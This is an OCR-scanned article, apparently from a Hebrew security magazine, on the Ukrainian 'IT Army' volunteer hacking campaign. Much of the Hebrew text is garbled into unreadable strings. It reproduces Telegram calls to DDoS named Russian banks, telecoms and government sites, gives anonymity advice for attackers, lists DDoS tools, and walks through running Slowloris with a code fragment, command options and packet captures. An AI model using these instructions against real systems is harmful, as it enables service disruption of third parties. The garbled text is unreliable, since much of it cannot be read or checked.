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"IT ARMY of Ukraine"
Mykhailo Fedorov &
We are creating an IT army. We need digital talents. All operational tasks
will be given here: . There will be tasks for everyone.

We continue to fight on the cyber front. The first task is on the channel for
cyber specialists.

itarmyofurraine
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IT ARMY of Ukraine

Top priorities:

- Glonass the satellite map

- Byelorussian railway

- Russian telecoms (MTS, Beeline etc)

- National Bank of Russia

- ATM processors (Sberbank, VTB, Gasprombank)
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72T ;DONK 72727 niaan otam'kn D% nnn X
|'2a .0%71vn NIrTA 751 vyNnd INA 7Y A'Y' Aaya

DIA70N nxnppa oIt mM D'N7vIY NNIipNnn Nn'vA

IT ARMY of Ukraine
For all IT specialists from other countries, we translated tasks in
English.

Task # 1 We encourage you to use any vectors of cyber and DDoS
attacks on these resources. |

Business corporations

Gazprom - https://ww v n—.u/
Lukoil - https:/ — |
Magnet - https./ i——/

Norilsk Nickel - https://ww ——.com/

The state
Public services - https:// _
Moscow State Services - https: V.
President of the Russian Federation - http:// i/
Government of the Russian Federation - hitp://u— ./
Ministry of Defense - https: "
Tax - https:/fwvwv S/
Customs - https:// ou—cv.ru/
Pension Fund - https:///n—
Roskomnadzor - https://
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D"ON DNKX 771D D'RIPIND DANIN 7W ARNVAN TINYAL DXIAPA [DTYNAY DNUAN 722 DI0ND
L1D1'ONN T2 0DNIMY Q01 YNy ,ninann DB dump ,0119%0,0'D2 7w 7' NIamd 0ol
NIYTINT spamming VIX - 'MY71¥N 700 NYTA NOTY7 NIRTIN DA NIY'AN 020 NISENNn TITy7 qona
NTIA9N9 NIKT? DA N1 ,|2 11D .Trivago ,Tripadvisor ,Google Maps 11> D™2IN D'NKY WX NIDIN
.N'0N 7Y NI70mMY Nrypaont Y3900 DINN 7Y 0'MIYEN D21DTY ,NT2INN NANR 7 NRIPIR

:DDoS Protection D'79010N DN NO'PNYT NN NIN ['MYN [IN1 .77mn NX7UnY? nona N1

IT ARMY of Ukraine
Konu cami 2ax1McHYKK Nijg aTakor — M CKNagHille 3axXuuarti iHwi
CarTh.
Tenep NoTpiBHO HaUINMMTLCA Ha:
Attacking DDOS guards will weaken their shields for the websites.
Hit thermn down:
https:// o ————— 1 L
https:// etk
https:// m— L
https:// cu— ./
DDoS-GUARD
HapexHan 3awmta ot DDoS-aTak nwoboid
mouHocTr | DDoS-GUARD
KomnnaekcHas 3awmra oT DDoS-atak.
CobBcTBeHHan reopacnpefeneHHan ceTk. BricTp...

2698 & 665 W 147

e L T SR

NIN7'RY N1AN ,N'MYIY NIV NN 7R NI9NT7 ZWOKRWY AIW'N NI 7w 722 190n wr 12T 7w 19102

.'1D21 SSL abuse 7w NI'd0 172 ,sockets 190NN NIYPN INX 'NIANINN 2pyn ,DNS-1 BGP

NNLNN '¥'ON LX? BXK? TX D'-hostname-d DINKN NN'YY NN 1'RY DD TV DX YN YXNKX [IDTY
19'0101 (DNS-N 'MW 7V N'0IN NIDYNNN DFTNID NRIID) [P VNS NINVNAN NIAIMD DX N7YWT7 17NN
12N 770 X1 NdD,14/03/2022-n "INNY 121 .DN'R NNYRNNN 2101 O'NINSN 0'V1ID 190N NN

D'RAPIRN N7 o'nmv D'9|7I]'\'7 D'MNOoNIdNY NNLNN

Morning! We keep on cyber fighting. The idea is to try how secured
data in Russian credit bureaus:

I (443/tCD) [
sesma——(50/tCp, 443/tcp) |
S 20/tCD, 443/tCp) |
' (30/tCD, 443/tcp)
I 3/tCp, 443/udp)

(Lo s I

I 1 /tCp, 22/tcp, 80/tcp, 443/tcp, 67/udp)
| W (53/tcp, 53/udp, 67/udp)

W (25/tcp, 53/tcp, 53/udp, 67/udp)
| Ee— ((113/tcp, 443/tcp, 500/udp)
| S (25/tcp, 53/tcp, 53/udp)
IR (113/tcp, 443/tcp)
I (113/tcp, 443/tcp, 500/udp)
I (113/tcp, 443/tcp, 500/udp)
I (22/tcp, 80/tcp, 113/tcp, 4443/tcp)
I (30/1Cp, 113/tcp, 443/tcp, 500/udp)
(1 13/tcp, 500/udp, 520/udp/, 1144/udp)

939 #H205 P48
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NIXIPIR D TYNAN N'0 ;YT'A NNLANA 21 Y K77 AroI'NIXY TvIm D X1 (1IMYV7 'oon
'myn 22X 27 71N> MMKn D097 INN DX DAYNY V7NN N1 7100 2NN 'Y DMm1Y NN

N'niynun

IT ARMY OF UKRAINE(English)

= How to get started v1_7.pdf

e
o DOWNLOAD

NEW VERSION : 1.7 (For beginners) )
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ON'MN1,0"0IN OANYN TA1D Y¥A7 DN D'RIPIRD NIDPNN 17X (TIPN NNN2 wnn) NN1IY 1199
T'21..0'ORINN NINT DX QIYNY7 720 N'¥IDIND NIX 7017 DM DN 1D DY NIMRARRD DINN 704
best 1Nd) VIYD ynNNA .NIP'DON X7 IX NIV NIX7NN2 N2 2'No2 D DYAYIN 1K LI'YOY 11D
DTX? NT DX 72707 7211 .NNVAXRN NN DX N'NIYNAYN NI7Yn7 N1 N2ai711001 '75 937 (practices

:NIN'V2N NIIAN NIX 11AN7 2101 72K 72V Hummer 922 Y011 YIaj7 271 09T MIKNA NN TNy

IT ARMY OF UKRAINE

https://tme/itarmyofukraine2022
itarmyua@egmail.com

DISCLAIMER : This manual is strictly for educational purposes only. Please be aware that
attacking (port scanning, DDOS, probing, PEN, etc) is highly illegal in many countries and if
caught, you may be looking a prison time. Although I believe that the secret services of many
countries will not pursue any contesters actively due to the extraordinary circumstances, they
have every right to do so. It's YOU that is doing something illegal. Give yourself a few minutes to
think it through before you decide to participate!

TOR-2 win'w - nxnNAI DNY7D

117 oMo0on .TOR - "The Onion Routing" 7y 117 DM%0n ,0'I'RIPIXKN JTAN 7¢ 'Wwn 710

YIn M7 .Y BFF-p NIn TOR T N'0INVA'R MIWPN 123 7y DOS NISpnn y¥a? n7nal nT'nav

TA7 Nan DY DR NIYYY RN DR 'RUNT7 K71 RN 7Y 0197 (101 A NIF0N0IKR NI9PNN

NXNIV'ON NX NNX2 DMfaon X7 TOR awmn 7V Druown awa 17 1v0'm

' .0'0017N D'wNOnNl

VIX'2 N1 N1anl hyna NIMIKNY Rl 712 n'nivnwn ' [AX2 MAITAY |1I'DN

K71 NI'Yyn NI'0PI9 NAXNA D'ANA 1INIX D [U¥) 1'WDY 11D .DNIX NWY' X7 NnNY wwnn
DINNNA 2 7V D'X'700 1INIX )22 02*21YN DOR'7N1 DAL, TA TOR TXD 7V XD IKPN K7 NI'OIR'N
DX '2AN?" RNl 57 [1'7an 01N [Nn 7w "Paranoid Mode" XN :'Tann NNA0N2d 1No1ISY [27-71nD

7 1"72an w2 IR 7w "TOR NAdNIMN NIMAIIARND NINKA 075NN

Entry guard
'
(] —— P

Tor clfent : Lene
r') dony

+ network

== Encrypted by Tor
==+ Not encrypted by Tor

% 4
Middle relay

Exit relay
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Tor upgrades to make anonymous publishing safer (theconversation.com) [:11jn]

72va Tor NN WIN'y D'WIY (QWNN 09Y 7192 TailsOS 7y 2'N1a) Tails N>yNn NN D'YIN WWUXD
117 DA RINY DTN NIDTA X7 NIMIRR 17 NN Tor-2 WIN'wn D 207 2IWN .01NVI'RT? NWAY
2 DX 91 KINW D NPT KIR (K7 wnn XN D) "' 100k wnnwn 7D md NIRY
DX N'UPI9 NIX2 NIXT NIXINY NI .(NNRY) DN 7' TaN7 [N K7 - oAt Tor "'w Dp'wnnwnn

:TOR NNy 7'kwn Edge [9T9TW fingerprint-n NINXIN DX DY

© C

Your Results Your Results
Within our dataset of several hundred thousand visitors Your browser fingerprint appears to be unique among
tested in the past 45 days, one in 77.68 browsers have the the 238,782 tested in the past 45 days.

same fingerprint as yours.
Currently, we estimate that your browser has a

Currently, we estimate that your browser has a fingerprint fingerprint that conveys at least 17.87 bits of

that conveys 6.28 bits of identifying information. identifying information.
A'MonY? N1 .Tor-7 "aIinn NNXY NIRTT? 0210 NRpPITN nwanl (ISP-N) VINLVI'RN N'PS0 ,NINT DY
NiNoS DNV |jnvNna Inp 22X DON'NAY7 NX proxy IX Tor bridge—:\ vin'y NIyxnxXa Tor-n 112NN DX
,N'anio Tor exit nodes 7w NN'wAN DU 1N, 103 720 Tor relay-n N'MIynwn 00Nl D''NX

CAPTCHA NInoY D'YANY DNK DA DIYY) DN'7X Tor NWIN NW'A D'AOINY D'NN VYN X7 DIY!

(Tor nw N ANXN PIN7 NWAY 7'2wWa
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https://theconversation.com/tor-upgrades-to-make-anonymous-publishing-safer-73641
https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
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https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
https://coveryourtracks.eff.org/
https://tails.boum.org/doc/anonymous_internet/tor/index.en.html
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https://tails.boum.org/doc/sensitive_documents/metadata/index.en.html
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\DNITR 17'R 'YW 91X 292177 [N (D72 X7 N20N NIpTR W NIaTNA DAl) [12'0N DX TINYT

Setup Tails persistent volume - o x :‘“nw'? |TI'] DIXJIT nio

Persistence wizard - Persistent volume configuration
Specify the files that will be saved in the persistent volume

The selected files will be stored in the encrypted partition /dev/sdb2

(227.75GIB)- en the Patriot Memory device. NXIN Persistent storage-7 D™"p'vn D'wim'wn TNN
a Keap s sortinh e EN ) NINNO'0] D'YNNWN D71 'D) NINNO'O [ONKNY7 7'awa
e Bt NNIX DX DThAN X71 DY D'NN'Y 1Y NRIY
e ANK AIPYY TIKA DYRY (111 .(?]102 0171 721 Nno'o
e -1 ,API keys ,URLs ,D'¥nnwn NINY ,NIPTN NIXNO'0
& %‘E‘;fj_j‘j:;‘;‘;‘;iﬁj;; cong [0 X NTY_KeePassX DY ny'an N2y9nn Nd>wn ;0N PSK
N7W TV D NI IR NIND
= " -
gy Tndees — wUNNWN? VIYS NI NIND X7 2WN 72X |NNX V0 e

Tails NX NaNNI NTN2 .N*Y7Y D'DNI0 DNXY NNIN]

Save

D ,(nIwy? TIkN 7pw Inwn) 1o Keylogger 1'7v mwi nminn oy 17 1pn'ww awnn? USB ny
IX NNA'Y N'MI9501 DAVYNNN NN DX IXN 7R ,NI0IYO D'7'n2a .00% Ny XY D71pa nnann

.(D'-Desktop TNI'"MA) NVAIXN X7 DIPNA MY [I'7 D'AYI'Y D'AYNAN

ParrotOS & Kali Linux
.Kali-1 Parrot 7w ANXNN NRIYRIN NIXPZOON MY 7Y NPNYNA 179N0N DR'RIPIRD 7 Jnona

07NN 2NNY DR RY (11N Tails 7y n0'9w D Kali 7y IR Parrot 2y 0*7'na 1221 X7 11NIX
-¥ D'2VIN 1INIX YITA DX 170 D 72K DNV [ 7TaNN1 WIn'Un DX 12N 178 NNIY 'R Y

ST 'OPNN YIN'YI NIMR N AYUPN 721 No*TY Parrot

,NIND TIj7 DY [NV .DINIT *T3"N0a [A'MUY N7 (NM171919 X70) NYTRY ,1I'WDY 11D T21 UKD
[NMYI DNIT NITIRON 7 0701'0N AN TX Debian Niooan My .nim1'ni USB-n Ni7y7 nizaion
‘NN 978 ,01' 7w 19102 .(|NO'N IX |INN N2ITA DX NIV XY?) built in 070 XM XM Dy Nivan

NN NNX 72 n'wnnwn (D"|7In ninol D"|7In) VTN NNLVANR

NNTAN DY nv'an - NP aIwN1 lightweight AP X'n ?Parrot NN 022NN 1INIX NIXT 722 N7 TR
Anonsurf ,I2P 1n2) NIM"MIX 72 N2 W'D 1ND .WUNNWNN NI'0ID 7V WATA N7U90N NON 7w 191
naon L' L't X7 DYoR Nt sandbox-2 o0 n¥n oA X0 .kali-a omonw (Zulu Crypt-l
7v DM'¥'O] NONINIENNTI MNP QYA XD 101 X' N WIN'YN DR D9 TYN INIRY NNR'Vn

0719 T NnNVAX
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https://www.keepassx.org/
https://www.youtube.com/watch?v=6JJo8qCYE8M
https://www.youtube.com/watch?v=6JJo8qCYE8M
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https://www.youtube.com/watch?v=6JJo8qCYE8M
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(7751 DX) D"'NWN 'an NNAN N7Y90 N ITR NIwn X7 0T 017 19100
Raspberry Pi

N7V TIMNI |0 TAYN2 NI . (NI'N7 XN NINSDY7 IX) D?71¥2 DONIDNN TAVN NP'MN DX 0NN 071D
7¥ NN 1Y 0'WIr 20N ,NNn DIYn 750 vynd YN 7a1o0ni Dopn 7w awnn'% 11oynn ning
D7¢ 2UNN 2DUNY DN7 X2 X7 D NRIDD) MY NO'PN Y¥A7 T¥D TN IRIPZIRD Jnonn
NN AN DA 7"12] TNXR W' NONINA N9'Y ZOYNNY M 237 IX\1 901 7'90n DN7 'R D IX\I NOFNNYT
20- 7w nia 1"nol o Ethernet 0'VD 17 q'0INY7 TWORY N71vn Tayna "I ,mpn ‘D L([nT

.7/24 0'oN qIpN7 INIX 2927271 [oT n'7nK N7 N1 $60

NNaN NN ITR NMwn X7 NNRa 0T 0"7OnY 'I'RAPIXN NNONN 'ANid 7v NYTN DY 0'MDOoN T IINIX
DA Y'Y NDTN TN .0'09IYW X7 1INIX ,N'Y'X NOTVNA NAITA DOI' 7Y 19102 .NNIN Y'Wn'? NNAN NO'NI

.JIn'7 NI791 0O TYNY N'7XD

Quad9 - y'nwn n>'7y D"NIv

DN - YN UTIN YXNKXY? [1DTY) DNS-2 Iy NNVAXKT? TNXK MIDTR K7 17'9X 'I'RIPIND IIXNL 11'R K7
MY 7V NI9PNN DFTTIVA DNY NTAIY2 AWNNNA NIMNK 101N NI DNNIR 1170 (N 3,
NLAX7Y NTAYN K7 TNIMA .0NKR DN 7Y DOS yxa7 72awa 71710n92 win'wi 0o DNS

JIPT5-n NIND Ni? DNS 112 '0'02 Nd NN'Y

AW 702 (ISP) V1NVI'RN NFPO0 NX 9'7NNYT INTVA WX MI'N NN 110 (9.9.9.9 NaINd) Quad9
7Y NPT N2OW 7Y ND0IN NIYXANA I'YUNNWNA 7V [AN7 IMMLAY 'KPINK 9122 12T .DNS-n nn'wy
7v D'WID'N DOIN NIN'WN VINVAI'RA NW™A NV .Reverse DNS Lookup 7w |"win 737 security
AN DTN DAY D NPTANNA NNANN YWXR NDTY DK NN'YWID D'RYNI WX DMITT hosthames
IT NN'ON N71IY9 .|9TOTA YI9PN [12'0N 72V NYTINI IMIX NRIX K7 NWYNY IX 1ITT INK7 NIYLA WA
NIDIN ,NIMITT NI2IN (12D DK 7W 2N 121 191 [0T-0 NN IX TN 1'WONN ,AUNNN 7V N1an

.0'-botnet-121'w's NNI'01 ,71aM

NINIPIN 72 XN NN NI NQHNINIMIINAR 1T - 'O DR 91N7 1721N TX'
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.DNS-n mwn 72nnw yTnn pni NIMX DX XTHR WK DNSSEC 7w nn'w ny'yn Quad9 |3 nd

data origin authentication & data integrity :0TI7 DNS-Q I'n X7w DM'¥'9 2 q'0n nwyn'? DNSSEC

.protection

STEP 1: SR ﬂ
SEARCH QUERY QUADS.NET DNS SERVER + 9.9.9.9 example.net nameserve STEP 4:
e nple.net * @ QUERY ROOT/TLD

______ Y., STEPZ: STEP 3: 199.43.133.53 SERVERS

PR ..... CHECK CACHE CHECK THREAT LIST I

@® and return 3 Vatch Found e . STEP 5:
Ret

T 1 result if foun n Block Reply dm e eem————naan ® QUERY AUTHORITATIVE

|—_—|D [ 93.184.216 SERVER

Xamy et
.4

[Quad9 - 1]

QWX DNS over TLS (DoT), DNS over HTTPS (DoH) & DNSCrypt 1m> n19¥n NI'NWOX DA D'

.DNS 71j7101n® 7y MITM NI9SPNNI NIYPNY NITRN D'YIIN

DT YW ,)17'NN N2YI9N NN NNUVN K77 nNimya 12t ?Quad9-2 nivaY o'713* INIX nnY
NN K77 Ax'wn PINT (1DNIX 17RYUN OX D'RIT) D'D19D NdWNN 'wnnhwn 775 ,nnimyn oip'n
N7 0IUS NIMXIY NINANY YT W' D71 0190 NI'DT? VA2 AR N N2N IIXIWA IND .0NIR'Nn

.(0manli FBI) 7inn '9127 Non? niarn
SN 2AwN7 90 X7 09N NALIX LYIYY TR’ NNATY NN2ANN YITa na'on IT

[DIX NN YA .72V "ANTHY71 DY) DDT'Y? 0O'NIY ,00101'K] D'NIY DNXWD ,NDD W'An X7 NT DX DA
27 NN 7Y yY70) TN (state actors 1ND D'AXWN DY N7RD TNI'M) NWIQ DAIK 1190 NINAAND
NIX 17'9X1 [9TOTN NX ,N7U9NN NdDWN DX ,N'MAN Nwan DX - '3 nwpa? ,nin .nmnidw

.0"MX"N NNIXY MIaynn

D'YNIN 1INIX TWKRD MINI 77 ,N2a0 IX7 ThI'N2 7w 0700 7100K2 Qued9-1 win'w'? nipn w371

NLIYDI N7'77 NIIX¥A DNIX 2917771 DY'¥A NNANNY DNN'WN 70 7V NanTna XNP? [N .DNS nigpn

NIZT 5-n NINO n,7|'7 119'0N 70 .071VNn NT NN DN'WY X7 OX DA NNYY NN2NN 7¢_0'1TA NIYNANA

?D¥YA X7 Nn7 X

NNIT N7 00 (VInY Intra 1D 71am'? NrYY79x DA W 1aN
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https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
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https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/articles/360041193212-Quad9-IPs-and-other-settings
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://support.quad9.net/hc/en-us/categories/360002571772-Configuration
https://getintra.org/#!/

VPN 1T nw'a

VPN T nw'na
TOR 91917

12'n INx? TOR 1T VPN-? nnanna
workstation qina socks proxy ov
TNY? NIUWA NIXRILY MDD Y
awnn 1T Qubes naaoa whonix

.0I' 722 NIw NN DIpNA T
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D' 17713 DDOS-N 71D 'O XY

PM"-N 71 T RIPIRD JAONNY D' DRI TR LY WTIN N7'NN2 D700 RN N2 Ny
AT q17n1 dN'MN 'Y NIMTENN oy 72K (slowloris 7y 11079 Nd yiITA Na'on Da Il Mopnn
NYTN N7'n NXRT |2) 0*-hacktivist-1 NI7ITA NI'RIPIR DIN2N N NN71919 NNWYI D1A702 Xpn
.DDoS '001an D"9pPNN 072 7 21 190N DIY' NYDI NdYNT7 1910XN (ITN N9IPNA 107 NTNYY
TIAR 72 X7 .77m2 0 mynin? 7ax 0710 DX A'%N? n07Nn 0PN 7w Niroaiiane mra 1oin NXon

TIAR NID 1D 77 NX9Y7 ¥

VTN NIX DN'7V 1IN I'RIPIND JN0N 0'Y'DINY 0700 7D 17X, 100N '7'NNa

Slowloris by gkbrk

Death by 1000 needles

DDOS by Coder1955A

Norussian by D3pR4V3d

3 websites (1 works)

CloudAttack by yottaiq

N oo ok~ w Noe

Bombardier by codesenberg

INW NN D097 NN VITA 117 [am X7 .0210 NMI¥a 1Ty (7) bombardier-1 (2) DB10ON 71,0713 JIMn

.DNIX I¥N' D77NY 02 [DNON7I D'WIX 97X NINNYT 075N

gkbrk nxn Slowloris

NI Slowloris NOPNNY 117V 117NN D'RIZINAY TIZN IN NN ANPN 719 DN

17 |am X7 .(0T DX NI NITIvA T KX XY) VDA TIR NTY DAYIN 1INIX VITN
script -7 TvIm XiIn D IR\l DY 7¥ 11 19501 DM KIN D DRI ,AXN0] D10 1700 7207 KIN 'R
.(1Itn w2 onin forks 565 - NN TN Y2 1'7V NIAY [N1I1'0'0 TIRN KINW [In 1IX\I) kiddies
210 DD DRI NTAA) NOPNNN NIX 1N NINDY M7 77D Y N9'0 ,TIzn 7y Navnn 197 72X

(NIXF0D NNd 7Y 2777 'woIn IWaN

NIY' T Y Yim 1w "Mipnw 0t - 2T wnnn nan v nwva 7"0 "0 9w niman i
197 IMIX 71727 NN ,Inwn and Elliot Alderson DX DA .2107 N'VNIVIX NIX 191N X7 DNX IX 1T

.NIN 2NT Y¥NN 72 X7 .target-n 7y 2171 n¥ON

NINIPIN 72 XN NN NI DQHNINIMIINAR 1T - 'O DX 91N7 17210 T
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https://github.com/gkbrk/slowloris
https://github.com/Arriven/db1000n/
https://github.com/Coder1955Alpha/DDoS
https://github.com/D3pR4V3d/norussian
https://github.com/yottaiq/CloudAttack
https://github.com/codesenberg/bombardier
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
https://github.com/gkbrk/slowloris
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D212 N1NAX sockets 7w NaNN NN T 7V, 170 .HTTP DoS Session Attack X'n Slowloris N9pnn
nNIT Llow & slow 7w nMavpn NN N791 N9PNNN .NWA [ND'TA threads 7w 21 1900 019N7

2'Onw M7 RUDY (are you dead yet) nopnn?

IN7Y' (0192 GET a10N) NIYRA AN - HTTP 21710092 VIT nW7IN N7XIN DYRP798N N1OWA NOpPNNN
112107 NIn 7Y termination sequence 7V IT'V' 221 NIYTN NNIY "My 0'NON TWX NNX NUPZRO]

?0Y9-9X termination-n NX D'N7IY X7 11NIX DX DI DN .response N'71j7 1NKY session-n NIX

[AT 712YD DX .NYTINN qWNN? NdN'T NIMD 112NN DR I'RY' webserver-n :NVIYS NaIWNN LDl
VIYO Slowloris 7w D'WIM™MNN 7702 112NN DX 120' VIYD KIN JWNN INIX DX 727 X7 K10 D"10N
VIV ,N12'NN NIX A0 NWNAWD - N7 2¥NN TNKR DRIV DN'oN K77 nyTIN D'N71IW 112N D'NNID
q12'n "NIrNn%" 221 oY 701 v vyn NIPYY 'wnn? DN D'YINMNN 27011 ;TR TIV D'NNID

D'I'RAPIRN v 7IN0N2 DONIDY TI7N 1N ITN NMIIXNA AWINN AT ']WIN") TNKR

logging.infof
"Sending keep-alive headers... Socket count: %s",

len{list_of sockets),

£ im list(list of sockets):

_ in range(socket_count - len(list_of sockets)):

logging.debug("Recreating socket...™)

try:

(n1mw nNnd2a oy bytes nnd T 7Y 'keep alive' NITWYT) DNIMD NMIWN NNYDIND DX 9 TVN "X ,N'WUN
NINRY? (N'MNANoNW) ax¥n NP7 710' X7 T NN 7 7701 "NDTm" X7 nwyn? X P jion
,09 2NN NN NYAIT X7 N9PNNN .NYUN NNXA X7 0T 0"7DN .19 thread 01917 1701' D'N'O*AY
NNYUN] UNNWNYT 'wnn? 710" Qpin QIn2 Ax N¥) N9pnnnY [t ,nnnR DOS niopnnn 7*1an’l

7Y D1 LNVI'RA YITA7I AWNNN

NI'NIPIN 72 NI NN NN QNI NIANIIAN 1T - 10N DX Q1pNY? 19310 1Y)
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TINA IYPN' DY DMWY YINAY 277 ,N'0'0 XK' - TINA LIYD N7V 0'X*Y7NN DI'RIFZIRD NN TX

APINN 7w 01777 NN NN X210V NIV

D'D71N D'WIR NNI) WIN'WN DX D'ATN D'Y'RAPIRN v INONNY NTAIVN XKIN IRXNY [IYKN 'I|7"7
:NINQN NIXA (N2T IR NIYy? 0IWO

The script runs 150 sockets by default. After the installation just run :

$ python3 slowloris.py [website url] -s [number of sockets|-———

:socket proxy 10T built in "720 X Yn7 n'¥9IX Nntpw DiwA github page-1 17'9XW NINNY NIXTI

You can then use the -x i 3OCKS5 support and the

y the SOC

and its port, if tr » different from the standard 127.8.0.1:8

:NWT7 N9 701 "M’ user agent-2 wnNwn? Dal

& -Ug, --Ia nduseragents

e o Randomizes user-agents with each request

24 71 onW 7T user agents-n 222 NIN TP NANK NINDY Q01 [INIY 11N D'WIAL 70T’ 1Y

NMNYIT NNIN2 NRDANY DI;712 N'VLVO NIIX2 DIV NIMIYA

T
.
=
T
T
T
T
T
.
T
T
T
T
T

?071> NN DINNY? N'N'Y DXAYIN DNKX 2101 NNd

NI'NIPIN 72 NI NN NN QNI NIANIIAN 1T - 10N DX Q1pNY? 19310 1Y)
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:0'9T 3 NIIW NNN NN .0'75N2 NTAIY 19NN X |21 IXIA

1139 37.1758.. 84.95.248.122  172.18.95.19 TP 7480 » 44458 [[SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=3573537301 TSecr=3569928476 WS=128
1140 37.1761.. 172.18.95.19  84.95.248.122  TCP 66 44458 » 80
1141 37.1761.. 172.18.95.19  84.95.248.122  TCP PSH, ACK] Seq=1 Ack=1 Win=64256 Len=20 Toval=3569928480 Tsecr=3573537301 [[TCP segnent of 3 resssembled POUT]
1146 37.1813.. 84.95.248.122  172.18.95.19  TCP Seg-1 Ack=21 Win=29056 Len=0 TSval=3573537307 TSecr=3569928480

1147 37.1816.. 172.18.95.19 84.95.248.122  TCP 234 44458 » se|vsn, ACK]] Seq=21 Ack=1 Win=64256 Len=168 TSval=3569928485 TSecr=3573537307
1154 37.1851.. 84.95.248.122  172.18.95.19 TP Tea=1 Ack=189 Win=30080 Len=0 TSval=3573537310 TSecr=3569928485

1135 37.1728.. 172.18.95.19 84.95.248.122 TCP 74 44458 » 80 eqP Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3569928476 TSecr=0 WS=128
ACK] Segl Ack=1 Win=64256 Len=0 TSval=3569928480 TSecr=3573537301

1427 38.3655.. 172.18.95.19  84.95.248.122  TCP 77 44458 - 80 ACK]] Seq=189 Ack=1 Win=64256 Len=11 TSval=3569920669 TSecr=3573537310 [TCP segment of a reassembled PDU]
1473 38.3724.. 84.95.248.122  172.18.95.19  TCP 66 80 » 44458 [ACK] Seq=1 Ack=200 Win=30080 Len=0 TSval=3573538497 TSecr=3569929669

1530 53.4099.. 172.18.95.19  84.95.248.122  TCP 7644458 » 80 [PSH, ACK] Seq=200 Ack=1 Win=64256 Len=10 TSval=3569944714 TSecr=3573538497 [TCP segment of a reassembled PDU]
1500 53.4237.. 84.95.248.122  172.18.95.19 TCP 6680 » 44458 [ACK] Seq=1 Ack=210 Win=30080 Len=0 TSval=3573553549 TSecr=3569944714

1696 57.6029.. 84.95.248.122  172.18.95.19 HTTP

1607 57.6029.. 84.95.248.122  172.18.95.19 TCP 66 80 » 44458 [FIN, ACK] Seq-394 Ack-210 Win=30080 Len=0 TSval=3573557728 TSecr=3569944714

1698 57.6031. 172.18.95.19  84.95.248.122  TCP 6644458 » 89 [ACK] Seq=210 Ack=394 Win=64128 Len=0 TSval=3569948907 TSecr=3573557728

1738 57.6521.. 172.18.95.19  84.95.248.122  TCP 66 44458 » 80 [ACK] Seq=210 Ack=395 Win=64128 Len=0 TSval=3569948956 TSecr=3573557728

1843 68.4587. TCP t of a reassembled PDU]

Frame 1141: 86 bytes on wire (688 bits), 86 bytes captured (688 bits)
Ethernet II, Src: Microsof_82:d5:a7 (00:15:5d:82:d5:a7), Dst: Microsof_cd:cc:29 (00:15:5d:cd:cc:29)
Internet Protocol Version 4, Src: 172.18.95.19, Dst: 84.95.248.122
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
000 00 15 5d cd cc 29 @0 15 5d 82 d5 a7 @8 00 45 00 1-9) ] E
10 @0 48 37 36 40 00 40 @6 ab 7a ac 12 5f 13 54 5f H76@-@ -z -_-T_
f8 7a ad aa 00 50 ae 16 15 ad 94 98 c3 4e 80 18 z---P N

<

0030 @1 £6 c6 9 00 00 01 @1 08 Oa d4 8 c9 20 d4 Ff
140 da 15 47 45 54 20 2f 3f 36 37 37 20 48 54 54 50 - -GET /? 677 HTTP
o 2f 31 2e 31[6d6a] /1.1

NIX NN NPT NND (WUN? (J2md) 17w INKR T2 IXIN D'RIPIRDY 1ND N9PNAN DX XN TR 210
IMNX71 three way handshake niy¥xnxa TCP 112N NIpwNNNN DX N7NNNA NIXYY TWON .NNIAYNN

.(1141 'on) keep-alive signal 7w nuPRON NX

D'72TN .12'NN NANN 197 timeout NWPEA NYYW MWW 1197 DRI NIVPZRD 4 IN7WIY NINYYT TWOR
NYTINN 9102 NIRTT 7211 *70¥T-NOPRNN 21X 7DN01 DX .NNI'0 K77 header 0*7'on [PSH ACK] 7w

:("..") x0d0a0d0a0 nI'n7 1¥w X'mn CRLF-n NX X471 "." 'onw x0d0a0

....... —_—
» .... OO00 OOOL 1000 =]F[aqs: Ox018 (PoH, I&]l
window size value: 222
0000 42 01 Oa fO 0O 01 42 01 Oa fO 00 14 08 00 45 00
0010 Ol 19 68 40 40 O5 Sa 31
0020 ci

NI'NIPIN 7 XN NN NWIA DQHNIENIMIIAR 1T - 'O NN 91MNY 192N T30
www.DigitalWhisper.co.il
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:TCP stream-n NN 2I7V1W3 121NN NWN NIX 1'RWN'7 N0 client-n 'K RN N1IX2 NI 700

GET /2418 HTTP/1.1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10 11 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.8.2785.143 Safari/537.36
Accept-language: en-US,en,q=0.5
X-a: 889

X-a: 4393

HTTP/1.0 408 Request Timeout
Content-Type: text/html
Content-Length: 431

Connection: close

Date: Wed, 09 Mar 2022 18:28:19 GMT
Server: ECSF (bsa/EB16)

<?xml version="1.8" encoding="is0-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8® Transitional//EN"
“http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>488 - Request Timeout</title>
</head>
<body>
<h1>488 - Request Timeout</hl>
<div>Server timeout waiting for the HTTP request from the client.</div>
</body>
</html>
X-a: 4675
X-a: 1371

.N72N1 DIN AN T 190N 7101 1272 12'07' KIN "X-a" 7 header-n

TIiZNW D'AYIN INIX YITA NY2NIT' 7117 '7210 Wireshark N NIy¥nNal nn' Tz TV TIV N nwyn?
AT 172NN NIVPRON 'A10 NIX NIRYYI Wireshark 7w T¥a 2200 7y 7on0on7 [N .nyna ni¥a Y
197NW MNXN 7Y IP-0 DX 72777 '7'awa DNS query yx¥t nnNow Socket 75 (71nd2) n'2'nn - nopnnn
MIYPNN DR NINAY (7012) TCP NIVPERD 7W X1 yan PN INKRYT (X111 X7 72X 7'wr D X7 winn)

